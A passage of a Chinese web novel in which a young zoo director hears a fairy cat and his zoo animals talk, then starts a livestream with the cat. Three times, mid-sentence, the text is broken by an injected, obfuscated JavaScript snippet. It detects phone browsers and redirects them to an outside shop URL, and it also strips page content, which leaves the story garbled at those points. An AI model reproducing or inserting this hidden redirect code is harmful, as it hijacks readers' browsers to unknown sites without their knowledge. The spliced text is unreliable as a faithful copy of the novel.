“我想听小黎园长的八卦,是我妈妈让我来问的,她说我爸爸要把这个当作今晚上的下酒菜。” 黎修羽往远处走去。 欧若拉四只爪子一齐发力,追上去。 “你不听听了?呼,呼,喵呜?”欧若拉的声音从黎修羽身后传来。 “不听。”黎修羽淡淡地吐出两个字。 “你害羞了吗?呼,呼。”欧若拉继续跑着。 “没有。”黎修羽依旧淡淡地回答。 “你有八卦吗?呼,呼。”欧若拉问。 “没有。”黎修羽还是淡淡地回答。 “那你认为他要开始撒谎吗?”欧若拉问。 “是的,羊是会说谎的。”黎修羽说。 欧若拉还在跑着:“呼,呼,那你走慢点,欧若拉不会说谎,但欧若拉腿短短的。” 黎修羽没说话,但欧若拉觉得,他的步伐的确变慢了。 “黎修羽,你要去哪里?” 欧若拉的声音带着一点喘,而独属于小猫的脚步声却很轻,轻到踩在轻湿地板上也没有一点声响。 “回去。”黎修羽说。 他的声音不大,又恰好被春风拂柳的声音盖过去些。 欧若拉跑到前面,突然停住,挡在黎修羽身前。虽然,她小小的身躯根本挡不住他。 她的粉色尾巴圈成个圆圈,耷拉在地上。 “喵呜?回去做什么呢?”她仰着头问他。 “看网课。”他说。 他绕过她,继续向前走。 “不要嘛。” 在黎修羽经过欧若拉身边时,欧若拉用两只爪子抱住黎修羽的脚踝,黎修羽差点没刹住车,一条长腿迈出,将欧若拉往前拖了一大步。 他停住脚步。 欧若拉依旧抱着他的脚踝,抱得更紧了,以至于她高于人类的炽热体温也顺着她的前肢过渡到他的皮肤上,渗透进去,又顺着骨头往上爬。 “黎修羽,跟我走,我们去听听其他动物,好不好?机不可失,时不再来。喵呜?” 她仰头,琥珀色的圆眼睛一眨一眨,胡须也跟着上下颤动,一双妙脆角的尖尖全向后撇着,像是在等。 所以黎修羽低眸时,看到的就是一颗圆圆肥肥的毛绒脑袋上,有两颗宝石般的琥珀色眼睛在闪烁。 或许不只是像宝石,还像这天上的太阳。 黎修羽一直认为自己不喜欢刺眼的东西。 但是,有一阵风吹过了桃花树。 这风很轻,不燥得慌,带来一片花瓣,经过他额前微卷的发梢。 他伸出手,手掌的位置是向上的。 然而这花瓣却只是轻轻掠过他掌心的皮肤,让他感受到只有零点一秒的痒,最终,落在欧若拉耳朵尖的聪明毛上。 黎修羽默许了。 欧若拉松开他的脚踝,跳起来,毛茸茸的圆脑袋正好蹭在他的手背上。 “喵呜!出发,我们去百虎园喽!” 黎修羽跟着她,往那座山头走。 鞋子的斜前方,是欧若拉耳朵尖上落下的那篇桃花瓣。 黎修羽单腿跪下,将这片花瓣拾起来。 “他又来了。”虎红糖耳朵向后撇,第一个发现黎修羽。 两只老虎和一头猪在隔着栏杆“遥遥”相望。 “他是来给我们送吃的吗?但他今早晨才来过。”虎红糖问。 “不知道,也无所谓…有可能是来看咱最后一眼。”虎白糖两爪搭在前面,脑袋枕在爪子上,说话的时候也依旧看着前方,不知道在看些什么。 猪堡堡说:“还能送什么吃的呢?每天就是纯素的菜叶子,俺都吃腻了,吼。” “猫仙大人也来了。”虎红糖伸着脖子,看着门口说。 “啊?”虎白糖想抬头看看,只抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527041|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了不到三十度,就又耷拉下脑袋,“算了,欧神仙的计划失败了,唉,还是妥不了。” “你们说,俺要是现在问他要肉吃,他能给我吗?”猪堡堡的猪鼻子正拱在栅栏中间。 虎白糖闭着眼睛说:“要不要我帮你一把,把你这猪鼻子咬下来,让红糖妹给你整个凉拌黄瓜得了。” “可是俺想吃汉堡,汉堡啊,”猪堡堡把猪鼻子缩回去,“吼,俺…俺真是饿到不行了,其实俺啥肉都能吃,不是汉堡也行。” 两只猪前蹄搭在栏杆上,猪堡堡伸着短短的脖子看向门口。 “小园长,俺想吃肉,肉啊,啥肉都行,俺都吃了三年素了,三年啊,吼!”猪堡堡喊着。 虎红糖说:“你真愿意吃猪肉?” “那也不是不行,反正俺是一个坚定的唯物主义者。”猪堡堡说。 “算了吧,马克思可不收你这只胖妖精。你啥也吃不到,他在那嘎又听不懂。”虎白糖依旧没抬眼皮,“咱们法力太低啦,认清现实吧。” “哎呀,要是猫仙大人能大发慈悲帮我翻译一下就好啦,俺是真的受不了了,吼。” “你可拉倒吧,”虎白糖继续输出,“这小园长根本就不会搭理你的,他马上就要把咱都给卖了,新来的说不准连菜叶子都不让你吃。要我说,咱还是一起逃回俺东北老家更靠谱。” “那俺还是再去吃点菜叶子吧,总比饿死强。” 猪堡堡放下两只前蹄子,去猪食草里抱着菜叶子啃,边啃边哭。 黎修羽就那么站着,听着这三只动物在你一言我一语。 欧若拉的出现,本身就已经很刷新他的世界观了。 现在,他知道这些与他最起码相处了一个来月的动物也有独一无二的小心思,他便更觉得心里堵得慌。 这一个多月里,他除了喂食和打扫卫生,其他时候都是非常抵触跟这些动物接触的。 所以,这些动物们对于他而言,就像一些NPC一样,只需要在每天的固定时间点里看着他做固定的事情就好了。 可现在呢? 他听着那只老羊讲述他从来不知道的父母的故事,听着那头胖猪多么想吃到肉的声音,第一次认真地意识到,这些动物竟然都是活生生的生命。 他们跟他一样,跟他的父母也一样,都是真实存在的,都有自己的快乐与苦恼。 他不自觉地皱着眉头。 欧若拉在他的腿侧蹭来蹭去,像淑女一样,来回迈猫步。 “她为什么只能吃素呢?喵呜?”欧若拉问。 黎修羽回神,低头看她。 “那只猪吗?” “是的,猪堡堡想吃肉,你从那两只老虎的牙缝里抠出一点点来就好。” 黎修羽沉默了,然后他开口说:“她有三高。” “什么是三高?喵呜?”欧若拉仰头看他。 “高血脂,高血糖,高胆固醇,”黎修羽说,“血脂,血糖,胆固醇之类的指标,是这个世界里我们给生物体检的时候必查的项目,这只猪的身体很不健康,所以不能吃肉。” 欧若拉的小嘴巴变成一个“O”形:“黎修羽,你竟然这么了解这只小动物吗?” “这是我…”黎修羽顿了顿,才说,“…之前的园长,在喂养指南里写的,我偶尔翻到了而已。” “喵呜,真是只馋猪。” 欧若拉说完,就跳到栏杆上,看着远处还在啃菜叶子的猪堡堡。 看见猪堡堡把猪鼻子拱到白菜叶子堆里,狠狠咬了一大口,鼻子被拖出来时,上面已经沾上了许多白菜汁,在阳光下显得很亮。 黎修羽的嘴角在他完全没有意识到的时候,轻轻地弯了一下。 黎修羽和欧若拉都没注意到这一点。 21. 这很痒,但毛茸茸的。 “黎修羽,”欧若拉跳到他怀里,“司令也有话要跟你说。” 就像在天宫的日子里无数次像局长大人撒娇一样,欧若拉很自然地就跳进了黎修羽的怀里。 她的两只爪爪搭在他胸口上,炙热的体温隔着毛衣往他的皮肤里渗透,让他的胸膛上隐秘地起了一层鸡皮疙瘩。 她坐在他强劲有力的手臂上,抬头,蹭他的下巴,耳尖恰好扫过他的喉结。 这都是一瞬间就完成的动作,但他全都感受到了。 这很痒,但毛茸茸的。 “司令是谁?” 黎修羽被迫接住欧若拉,结结实实地接住她。 他的一只手托着她的后腿,摸不到骨头,只能摸到松松软软的肉,另一只手扶着她的脊柱,感受到她那像竹节一样的脊柱在皮下颤动。 他的背僵成一条直线,脖颈伸直,下巴也抬着,尽可能远的拉开两个头的距离。 他只是低眸看着她,所以他只能看见她的耳朵尖。 他看见欧若拉的一双妙脆角一动一动的,耳廓上缘薄到透光,里面呈网状分布的毛细血管甚至都清晰可见。 欧若拉的爪爪依旧按在黎修羽的胸口,毛衣上有密密麻麻的孔洞,所以他们几乎皮肤相贴。 欧若拉龇牙咧嘴,胡须颤了两下:“喵呜,就是那只怪孔雀呀,敢抢我的圣火令发布权限?真想揍他一顿。” 她很想显得自己有“大人不记小人过,宰相肚里能撑船”的气量,但她扫来扫去,一直摩擦黎修羽胳膊的粉色尾巴正好出卖了她。 “那你先下去。”黎修羽低垂着眸子看欧若拉。 他也想松手,但他实实在在地感受到,欧若拉的小指甲已经勾在他的毛衣上了。 欧若拉不是会及时放手的那种小猫咪,所以如果他现在放手的话,他这身衣服就毁了。 “为什么啊?”欧若拉眨眨眼睛,“我要是不呢?” 她的瞳孔随着傍晚阳光的变化,已然不是中午的两条竖线了。 她把她毛茸茸的大圆脸往前凑,离黎修羽越来越近,近到黎修羽可以闻见她嘴角溢出的红豆香气。 黎修羽说,“欧若拉,我不喜欢——” 欧若拉突然伸爪,拍在黎修羽嘴巴上。 又软又热,还带着桃花香气。 她的爪垫是粉粉的,中间一颗软乎乎的大肉球,上方是四颗偏硬一点的小肉球,还有一颗小肉球生在一旁。 黎修羽没有感受到那颗肉球的存在。 欧若拉没有伸出指甲。 “我知道,我知道啦,你不喜欢动物,是不是?” 她的声音又尖又细,带着一种“我什么都知道,多大点事儿啊,你别再叨叨了”的无语感。 黎修羽突然懵了。 他下意识地点了一下头,欧若拉软乎乎的爪子也随着上下移动。 欧若拉粉色的爪垫上渗出了一点儿水汽,黎修羽觉得自己的嘴唇也变得湿乎乎的。 他终于从牙缝里挤出两个字:“…放下。” 欧若拉的小爪子,恋恋不舍地离开了黎修羽的嘴唇,但并没有完全放下,只慢慢地滑到他的下巴上。 “喵呜?你不好奇吗?我觉得你还是有一丝丝好奇的。” 欧若拉的爪子又回到黎修羽的胸膛上,指甲勾住他的衣服。 黎修羽没说话。 他沿着小路走着。 是孔雀楼阁的方向。 欧若拉的粉色小尾巴一晃一晃,整只小猫都挂在黎修羽身上。 “你走快一点嘛。”她说。 “你下来,我就走快点。”黎修羽目视着前方。 “不嘛,本仙女其实一点都不累,就是纯懒而已——讨厌,喵呜。”欧若拉把脑袋埋在黎修羽的胸膛上。 黎修羽又闻见了一丝红豆的香气:“看出来了。” “你别说话了…” 黎修羽从口袋中掏出一串钥匙。 欧若拉后腿一蹬,直接跳进孔雀楼阁前的院子里。 “司令!司令!”欧若拉喊着。 “吱嘎”一声,门被打开。 大明王菩萨收着尾巴,蹲在石阶最上方。 “小孩,你终于来了。”大明王菩萨上睑微闭,斜着眼看黎修羽。 “嗯。” 黎修羽站在门口,并没有往里走。 傍晚的阳光斜射过来,院子里的刚刚发芽的树为他遮住一半橘黄色。 所以,黎修羽只有半张脸是在阳光下的。 “我不得不服气,”大明王菩萨立即看向欧若拉,“你还真让他听懂了?” “是啊,见识到我的本事了吧?”欧若拉扬着下巴。 大明王菩萨给欧若拉比了个大拇指。 他转过头来,看着黎修羽,又恢复到傲娇的神态,嘴角微微动了一下。 “小孩,猫仙说,你那个电视机可以直播?” “喂,是手机!”欧若拉踩住大明王菩萨的尾巴。 “哦,手机,那就手机吧,”大明王菩萨继续扬着高傲的头颅,“你那个手机能直播。” 他往前走了一步,但尾巴还被欧若拉踩着。 欧若拉把爪子挪开。 他继续往前走。 “我顾影自怜是因为这里没有人懂得欣赏我,而愿意欣赏我的人却始终没有走进我们这个动物园。嘎,虽然这里长期毫无经营策略,收入惨淡,但有我这只如此帅气的孔雀坐镇,客流量如此之少,属实是不应该。so,这么好的机会,你为什么不开直播?我问你呢?我美丽的羽毛不该埋没在这种地方。嘎,我有一颗十分坚定的心,始终认为这世界上一定有人会爱我的羽毛爱到无法自拔。” 大明王菩萨越说越激动,头也扬得越来越高,像他的近亲鸵鸟一样。 当然,谁要是当面说他长得像鸵鸟,他一定第一个跳起来啄那个人的屁股,因为他觉得鸵鸟丑爆了! “鸵鸟…”欧若拉的声音特别小。 “你说…神马?”大明王菩萨慢慢地回头,直勾勾地看着欧若拉。 “我说驼…”欧若拉捂住嘴巴,突然又觉得自己干嘛要怕这只怪孔雀,所以她又把爪子挪开,“说你是鸵鸟,怎样?打我呀?略略略。” 她一个箭步就跳走了,跳到院子中央,小舌头还吐来吐去。 大明王菩萨拍拍翅膀:“那我也是最美丽的鸵鸟!呸,我才不是鸵鸟!我比鸵鸟受人喜欢多了!肯定有很多人想看见我!肯定有!” “啊,那确实有,好多人呢。那个谁,那个谁来着,”欧若拉回头,看看黎修羽,“你手机里,那个妈妈,她女儿就想看我们呢!” 黎修羽知道欧若拉说的是哪个人,是那个深夜给他发私信的姐。 她女儿得了白血病。 黎修羽这几天陆续收到了许多私信,很多打招呼甚至是造谣谩骂的,他都没点开看,唯一点开看了几遍的,仍然是几天前的这条。 “真的吗?真的有很多人想看我?我就知道!我就知道!” 大明王菩萨差点跳起来,他跳了一下,立即恢复先前高冷的样子,仰着脑袋装“鸵鸟”。 “咳咳,本帅哥早就知道有人想看我了。” “哦!”欧若拉点点头。 黎修羽打开抖音,从“确认聊天”栏里找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530428|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那位母亲。 他那天晚上就给她回过私信了。 现在,他又收到了她的一声感谢。 大地已然被映照成更浓重的橘色,他身上温暖的温度也变得稍微冷了些。 他抬头,对欧若拉说:“走吧。” “这就完了?”欧若拉跑到门口,站在门槛上。 “太阳要落山了。”黎修羽说。 “又到凡夫俗子们的入睡时刻咯。”欧若拉甩甩脑袋,浮毛飞到天上去,跳下门槛。 她的一双妙脆角已经变成飞机耳,整张大圆脸也往下耷拉着。 她回头,朝大明王菩萨说:“司令,看来你也…呃…呃…” 她想说“失败了”,可她却突然无法发声。 她的一双大眼睛里的瞳孔骤然放大,下一秒,一脸震惊中夹杂着惊喜地望着黎修羽。 “喵呜!”欧若拉抱住黎修羽的脚踝,“黎修羽!黎修羽!喵呜!!!” 黎修羽低眸,眼神淡淡的,瞧着她。 欧若拉后肢站起来,前肢则攀着黎修羽的腿往上扒拉。 “喵呜!你真好!” 欧若拉胡须一颤一颤的,向后撇,一双小爪子则对着黎修羽地裤腿抓来抓去,十分有节奏。 “什么啊?本帅哥能上电视了吗?”大明王菩萨在楼下站着,扑腾两下翅膀,伸着脖子往门口看。 “我先上,下次才能轮到你。”欧若拉头也没回,依旧抱着黎修羽蹭来蹭去。 大明王菩萨点点头,将尾巴完全展开,走到地上的一滩清水前欣赏自己。 “可以,最帅的妖精有压轴的义务。” 太阳即将走到山后面。 青石板路上,一个人和一只猫,往远处走着。 他们俩的影子被拉得好长。 欧若拉蹦蹦跶跶,总是要隔着一块青石板,而跳到另一块青石板上。 欧若拉昂首挺胸,粉色的尾巴直接竖直着折到背上。 “黎修羽,你一定要把我拍得好看点,虽然我本身就足够貌美。” 欧若拉又跳过一块青石板。 黎修羽双手插在兜里,随意走着:“哦。” 欧若拉说:“黎修羽,能听见动物说话,是不是特别神奇?” 黎修羽从喉咙里发出一个音节:“嗯。” “那其实我们小动物跟你们人类是一样的呀,我们也有自己独立的思想嘛。” 欧若拉抓住一只吹散在风里的蒲公英种子,又放开。 黎修羽瞧着远方,长而微卷的睫毛上下颤动了一下:“嗯。” “可惜药效马上要过去了,”欧若拉鼓着腮,跟上,走在黎修羽前面,“再过一会儿,你就听不见他们说话了。” “嗯。”黎修羽答应着。 “但没关系,还有我呀,你永远都可以听见我说话。”欧若拉回头,琥珀色的眼睛里盛满了笑意。 她的想法是这样的,所以她说出口的话也是如此。 “嗯。” 黎修羽低眸,看见了欧若拉的得意洋洋。 欧若拉走在前面,左右晃着脑袋。 黎修羽觉得欧若拉像放学回家的小朋友。 “喵呜,真的好神奇啊,虽然我是神仙,但按照常理来说,人类也应该是听不见动物讲话的。” 黎修羽也这样觉得。 再翻过一座山,就能回到黎修羽的住处了。 “欧若拉,”黎修羽往远处一看,就看见一株才要发芽的迎春花,“我出生在六月。” “哦!” 欧若拉晃着脑袋。 她不知道黎修羽想起了什么。 22. 顶流 “小羽,看,这是什么?”外婆坐在木凳子上,手里拿着一封信,晃了晃。 黎修羽才跑到门口,就听见外婆的话。 他没有进屋,只是盯着那封信,脸上那放学之后才有的笑容转瞬即逝。 外婆朝黎修羽招招手,笑着说:“快,进来,和外婆一起念。” 黎修羽还是盯着外婆手中的信,咬了一口下唇。 他想了想,迈过门槛,但还没完全迈过,就差点被拌倒。 “小心点,你这孩子。” 外婆扶着桌边站起来,见黎修羽自己稳住了身体,就又坐下。 黎修羽走到外婆身边。 外婆把信交给他:“打开看看?我摸着这里面好像有东西,你妈妈特意从非洲给你寄来的吧。” 黎修羽不说话,只是盯着那封信看,片刻过后,他摇摇头,眼神瞥走,盯着远处的地面。 外婆无声地笑了笑,用岁月留下痕迹的手摸着他的小脑袋。 “那,外婆读给你听。” 外婆把信纸展开,信纸中间藏着一颗真空包装好的埃塞俄比亚鳞芹种子。 黎修羽咬着嘴唇,握住那颗种子,挂满委屈的眼睛时不时地瞥瞥信上的字。 信的内容大致是下面这样: 小羽,妈妈和爸爸在非洲的工作马上结束了,我们会在你十岁生日前回到祖国。这是一颗埃塞俄比亚鳞芹种子,是妈妈在埃塞俄比亚的奥罗米亚州采风的时候摘下来的。当地的专家说提供适宜条件的话,这种植物在亚洲也能活。听你外婆说,你对不能动的东西感兴趣,所以将这颗种子寄给你,但愿你拿到时会开心。如果能将它种在外婆的院子里,那一定会为外婆也带来非洲的气息。 黎修羽嘴角露出一抹笑。 外婆戳戳他,他就笑得更开心了,甚至笑出了声。 外婆一脸和蔼,双手一起摸摸黎修羽满是笑意的脸蛋:“我的小羽开心了吧?再过半个月,你爸妈就要回来了。” 黎修羽噘噘嘴,又笑起来,他突然想到了什么,从书包的隔层里掏出一张照片。 那是一张父母从非洲寄回来的合照,大概是五年前。 “这都是几年前的了?”外婆拉过黎修羽的手,看着黎修羽手中的照片,“你妈妈现在一定变样子了。” 她又摸摸黎修羽的脑袋:“可怜的小羽,还能认得出来他们吗?” 黎修羽想了想,手中的种子握得更紧了:“我觉得,我可以。” 外婆家的门外,柳絮落了满地,晚春的风吹过,像极了雪花被卷起。 黎修羽摘下一片脆嫩的柳芽,两根手指将其折断,又弹进人工开凿的小溪里。 这个时节的柳絮还没有兴起。 他推开门,欧若拉蹦蹦跳跳地跑进屋里。 欧若拉跳到桌子上,立即躺下,滚来滚去,嘴里“喵呜,喵呜”的撒着娇。 黎修羽才坐下,欧若拉就滚到他眼前,抱着他的手指舔了一口。 黎修羽浑身一颤,将手指抽走。 他没有看欧若拉,转而打开了抖音。 欧若拉也不在意,她站起来,像蹭树一样,忘情地蹭着黎修羽的手机。 黎修羽的手机被蹭得晃来晃去。 他从来都没有开过直播,也从来都没有怎样认真地玩过抖音。 就像那些网友看到的那样,他只在完成上学期期末作业时,发过一条让他感到满意的抖音。 但这些东西并不难,他点了几下手机,一个直播间就开启了。 简介是:随便播播 字面意思,他就是想要随便播播。 但是,下一秒,上千个人涌进来。 又过一秒,人数已经突破五千了。 整个直播间弹幕都像是被轰炸了一样。 黎修羽不自觉地瞪大了狭长的眼睛。 弹幕1:妈呀开播了 弹幕2:@xxx,快来 弹幕3:啊啊啊啊啊你就是那个园长吗! 弹幕4:帅哥啊 弹幕5:终于等到你 … 弹幕n:我去这么多人 黎修羽自然是没想到直播间会一瞬间涌进这么多人的,所以他愣了两秒。 然后,他两只手架着手机旁的欧若拉,把欧若拉拖到镜头中央。 “喵呜?”欧若拉看看黎修羽,再看看手机屏幕。 黎修羽依旧架着欧若拉,让欧若拉的大脸蛋儿完完全全把他给挡住。 “如你所愿,你上镜了。” “喵呜!”欧若拉的瞳孔瞬间扩散,胡须全部向后扬起,“1…万…加…哇!这么多字!这么多人!” 欧若拉挣开黎修羽的手,整张大脸都贴在屏幕上。 “好…可…爱…肥…猫…胖…抽…象…”欧若拉一个字一个字地读着,立即转头问黎修羽,“他们说我肥!他们说我肥啊!” 黎修羽看了眼弹幕:“嗯,还说你胖。” 欧若拉气鼓鼓的,整张脸蛋儿豆往下耷拉着:“我要骂他们,狠狠地骂他们,他们怎么可以这样蛐蛐我这只全宇宙最可爱的小可爱呀?” “他们听不懂。”黎修羽说。 他俩也就才交流了几句话,直播间里的弹幕就已经完全数不过来了。 欧若拉瞪着手机屏幕,爪子摁在屏幕上:“那就由你来给他们翻译。” 黎修羽摇摇头:“网络上不可以骂脏字。” “都赶上天宫的狗规定了,”欧若拉吧唧吧唧嘴,“喵呜…那我要是文明点呢?” 黎修羽挑挑眉:“嗯,这是可以的。” 欧若拉回头,瞥了一眼弹幕:“谁再说我胖,我就不可能咬死他。靠!我在讲什么嘛!” 她狠狠捂住自己的嘴,只恨最关键的时候,嘴上却长满了封印。 “谁再说我胖,我就渴望咬死他,希望咬死他,期盼咬死他!但是始终无法真正咬死他。呼,好啦,你可以履行翻译的使命啦。” 欧若拉一口气喵呜了好多声,直到把气都输出去了,便朝黎修羽挥挥爪子,一副得意洋洋的神态。 黎修羽说:“嗯,她说,谁要是说她胖,她就,假装咬谁。” “词不达意,你真是个好人哦!” 欧若拉想骂黎修羽,但说出口的好像又变成夸他了——也可能有一点儿阴阳怪气。 欧若拉翻了个大大的白眼。 屏幕上又刷新了无数条弹幕。 黎修羽手指摁了下屏幕,随机停留在其中一页上。 弹幕:爸呀大哥,小猫竟然会翻白眼 弹幕:不是AI吗?我真是服了 弹幕:脾气大大的小茂密! 弹幕:我的妈呀,真的好可爱啊,比视频里还可爱 弹幕:那就不说猫猫肥美啦 弹幕:园长会猫语? 黎修羽回答道:“不会,只能听懂这只猫说话。” 弹幕:我丢,好神奇 弹幕:主播你真的是那个园长吗? 弹幕:刚进来,终于等到了 弹幕:是本人吗? 弹幕:主播介绍介绍 欧若拉读着弹幕:“介…绍…园长?喵呜,他们想知道你是不是你自己哎!他们是傻子吗?” 黎修羽滑动着屏幕,语调温和:“他们不完全是这个意思。” 他沉了口气,一双眼睛从欧若拉脑袋之上露出来,因为欧若拉已经几乎把整张屏幕都占满了。 他的音调饱含着沉稳,但也隐藏了一丝紧张。 “大家好,我是星羽动物园的园长,谢谢大家喜欢这个动物园和…这只猫。第一次开直播,有什么做的不好的地方,大家见谅。大家…有什么想问的,都可以问。” 是的,黎修羽觉得,他应该以动物园园长的身份来介绍自己,虽然他知道他本质上并不想继承这座动物园。 他才说完最后一个音节,弹幕下方就显示已刷新999+了,还有几个人已经开始刷礼物了。 小张同学送出掌上明珠/sananan送出一起跳舞 弹幕:声音好好听 弹幕:真的是你啊! 弹幕:我去我刷到了 弹幕:终于 弹幕:欢迎欢迎!别紧张! 弹幕:这只猫叫什么? 欧若拉还在认认真真地读弹幕:“我叫欧若拉,欧!若!拉!欧若拉哦!” 她狠狠戳着屏幕,眼神给黎修羽示意。 弹幕:哈哈哈哈哈它在喵喵叫 弹幕:说什么呢? 弹幕:需要翻译机 弹幕:我不行了,好可爱 弹幕:我去它真的在读弹幕?它真的成精啦? 弹幕:名不虚传 黎修羽的嘴角在他没注意的时候隐秘地弯了一下。 他在欧若拉身后缓缓开口:“她叫欧若拉。” “对!我叫欧若拉!喵呜!”欧若拉舔舔手机屏幕,吧唧一声,屏幕被她舔倒了。 “喵呜?”她舌头还伸在外面。 直播间的礼物又刷起来了。 斯芬克拉送出比心/枕风月送副墨镜/崔火炬送出奇幻八音盒/赵子涵送出直升机 黎修羽把手机重新支起来,放在一摞书前面。 弹幕又炸了。 弹幕:好可爱! 弹幕:哈哈哈哈好热情啊萌死了 弹幕:欧若拉哈哈哈 弹幕:阿拉斯加的山巅 弹幕:它真的想说话吧! 弹幕:它能看得懂?别吹了 弹幕:楼上不喜欢可以不看,欧若拉就是很聪明好吧! 欧若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533090|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉点点头:“对,我只是有一点点笨蛋而已…我讨厌我的嘴!讨厌!” 她抱住脑袋,不说话了。 弹幕:对呀,都可以骑着老虎指挥交通了,看懂汉字还不是手到擒来的事情 弹幕:全网最萌的小猫咪咪 弹幕:欧若拉你吃什么长大的?怎么这么可爱呀好猫猫~ 弹幕人数已经变成3万+了。 欧若拉歪歪脑袋:“喵呜,本仙女是吃玉露长大的,但现在只喜欢黎修羽的小鱼干哦。” 黎修羽在欧若拉身后挑挑眉,一脸“了解了”的意思。 “她现在喜欢吃小鱼干。”黎修羽答道。 欧若拉胡须闪动:“喵呜,完全正确。” 弹幕:好可爱啊 弹幕:可以带着小鱼干去见你吗? 弹幕:帅哥园长打算播多久? 弹幕:我也养猫,有小鱼干推荐吗? 黎修羽撩撩碎发:“鱼干是家里人做的,独特秘方。” 弹幕:需要!很需要! 弹幕:想和欧若拉聊天 弹幕:园长你流量爆了 弹幕:欧若拉是女明星还是男明星? 弹幕:园长我有好多你家小猫猫的表情包 欧若拉摇摇头:“我不是星星哦,我是欧若拉,是神仙。” 弹幕:说什么啦? 弹幕:欧若拉又看懂弹幕啦 弹幕:真的好聪明啊 弹幕:羡慕 欧若拉看向黎修羽,示意需要他的翻译:“你告诉他们,喵呜,我才不是星星,星星是我的下属,我不允许他们给我降职,虽然我是被贬下界的,哼。” 黎修羽动作淡淡地点了下下颌,对着屏幕说:“她是女孩。” “哦!” 欧若拉不说话了,她知道自己又读错汉语的意思了。 弹幕:长得就像母猫 弹幕:全中国最聪明的小女孩 弹幕:一袋小鱼干能拐走欧若拉吗? 弹幕:园长从哪里弄来的小猫? 弹幕:还能生吗哈哈哈,好想养啊 欧若拉的粉色尾巴尖在桌子上扫来扫去,扫过黎修羽的小指一侧。 痒痒的。 他下意识地,默默地将欧若拉的尾巴握住。 “前些天捡到的。”黎修羽想了想,补充道:“不能生。” 欧若拉尾巴骨使了使劲儿,才觉得动不了。 她回头,看见黎修羽修长的手里握着她的尾巴尖,耳朵便立刻向后撇。 “喵呜,干嘛?” 黎修羽回神,把她的尾巴尖放开了。 弹幕:欧若拉在跟主人吵架吗? 弹幕:欧若拉你在回头说话吗? 弹幕:说什么啦?我也想听 弹幕:太逗了,爹嘞 弹幕:园长主业动物园,副业盗墓? 弹幕:吴邪再就业 弹幕:你的闷油瓶呢 弹幕:楼上问出了我攒了好久的问题 黎修羽回答道:“是文物相关专业。” 他话锋一转:“第一次直播,我也不知道该播点什么好,大家以后还想看的话,可以跟我说。这个动物园是半公益类的,每年都会在固定的时间段面向大众免费开放,其他开放日期的票价也比较实惠。感兴趣的,可以关注公众号,开放日期会在公众号上提前一周发布。” 黎修羽对自己有点儿震惊。 但转念一想,他本身就是因为这个他并不喜欢的动物园才开今天这场直播的,所以好好介绍一下这座动物园也是合情合理的,且应该去这样做。 弹幕:想每天都跟欧若拉聊天 弹幕:想跟你聊哈哈哈哈 弹幕:想要小鱼干秘方 弹幕:帅哥园长能不能一直露全脸呀? 弹幕:我是整个动物园的铁杆粉!我全都要 弹幕:支技了,全都要看 弹幕:最喜欢欧若拉哈哈哈 欧若拉点点毛绒绒的脑袋:“你们一定要更喜欢我!我超级好看!喵呜!” 弹幕:欧若拉笑啦! 弹幕:园长求翻译 弹幕:我要笑死了 欧若拉伸爪,扒拉着黎修羽的手指头:“你快告诉他们,让他们狠狠喜欢我。” 黎修羽感受到软乎乎的东西贴着他的皮肤,被触碰到的手指下意识地弯曲了一下。 但欧若拉下一瞬就把爪子挪开了,因为她还要继续戳屏幕。 黎修羽看着屏幕说:“嗯,她说她很好看,你们要多多喜欢她。” 他滑动着屏幕,对欧若拉说:“欧若拉,我说得对吗?” 欧若拉蹭蹭黎修羽靠近的手:“喵呜,差不多哦。” 黎修羽正在滑动屏幕的手指暂停了一瞬。 23. 建国以后不许成精 月亮指向西南方,这一夜的金星似乎格外闪耀。 已经是晚上九点了。 欧若拉嘴里吧唧吧唧的,打了个大大的哈欠。 她的嘴巴始终是冲着摄像头的,直播间的所有观众都能看见她微微颤动的扁桃体。 黎修羽搁下保温杯,在欧若拉身后慢条斯理地开口道:“欧若拉,你困了。” “啊呜,我不…” 欧若拉好想说自己不困,自己想继续直播,但显然,这是谎话,因为她说不出口。 她撇撇嘴:“好吧,好吧,我特别困,我想趴在某人胸膛上睡觉啊,啊呜。” 黎修羽的手指不自觉地勾了勾欧若拉粉色的尾巴尖,可他竟然分辨不出是自己的指尖红,还是欧若拉的尾巴更浓重了。 弹幕:哈哈哈哈,欧若拉打哈欠显得脸更大了 弹幕:不准网暴小猫咪谢谢 弹幕:欧若拉困了呀 弹幕:还是个小宝宝 弹幕:主播,欧若拉是不是还不到一岁? 欧若拉又打了个哈欠:“瞧不起谁呢?” 